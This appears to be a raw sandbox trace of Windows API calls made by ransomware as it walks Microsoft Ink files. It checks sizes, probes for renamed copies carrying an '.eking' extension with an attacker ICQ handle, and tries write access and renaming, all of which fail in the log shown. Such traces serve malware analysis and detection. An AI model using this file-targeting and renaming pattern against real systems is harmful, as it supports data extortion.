1 [0286.912] CloseHandle (hObject=0x2e0) returned 1 [0286.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0286.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0286.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.913] SetEvent (hEvent=0x2a0) returned 1 [0286.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.914] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2578) returned 1 [0286.914] CloseHandle (hObject=0x2e0) returned 1 [0286.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0286.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0286.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.915] SetEvent (hEvent=0x2a0) returned 1 [0286.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.916] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3024) returned 1 [0286.916] CloseHandle (hObject=0x2e0) returned 1 [0286.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0286.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0286.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.917] SetEvent (hEvent=0x2a0) returned 1 [0286.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.918] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0286.918] CloseHandle (hObject=0x2e0) returned 1 [0286.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0286.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0286.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.919] SetEvent (hEvent=0x2a0) returned 1 [0286.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.920] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2658) returned 1 [0286.920] CloseHandle (hObject=0x2e0) returned 1 [0287.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0287.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0287.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.345] SetEvent (hEvent=0x2a0) returned 1 [0287.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.350] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=503808) returned 1 [0287.350] CloseHandle (hObject=0x2e4) returned 1 [0287.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0287.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0287.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.351] SetEvent (hEvent=0x2a0) returned 1 [0287.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.352] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1540608) returned 1 [0287.352] CloseHandle (hObject=0x2e4) returned 1 [0287.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0287.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0287.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.360] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=6368768) returned 1 [0287.360] CloseHandle (hObject=0x2e4) returned 1 [0287.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0287.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0287.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0287.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.362] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=51200) returned 1 [0287.362] CloseHandle (hObject=0x2e4) returned 1 [0287.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0287.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0287.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.363] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1075712) returned 1 [0287.363] CloseHandle (hObject=0x2e4) returned 1 [0287.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0287.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0287.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.364] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0287.364] CloseHandle (hObject=0x2e4) returned 1 [0287.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0287.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0287.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.366] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0287.366] CloseHandle (hObject=0x2e4) returned 1 [0287.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0287.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0287.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.367] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0287.367] CloseHandle (hObject=0x2e4) returned 1 [0287.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0287.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0287.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.368] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0287.368] CloseHandle (hObject=0x2e4) returned 1 [0287.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0287.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0287.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.369] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0287.369] CloseHandle (hObject=0x2e4) returned 1 [0287.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0287.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0287.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.371] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0287.371] CloseHandle (hObject=0x2e4) returned 1 [0287.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0287.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0287.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.372] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=177664) returned 1 [0287.372] CloseHandle (hObject=0x2e4) returned 1 [0287.372] 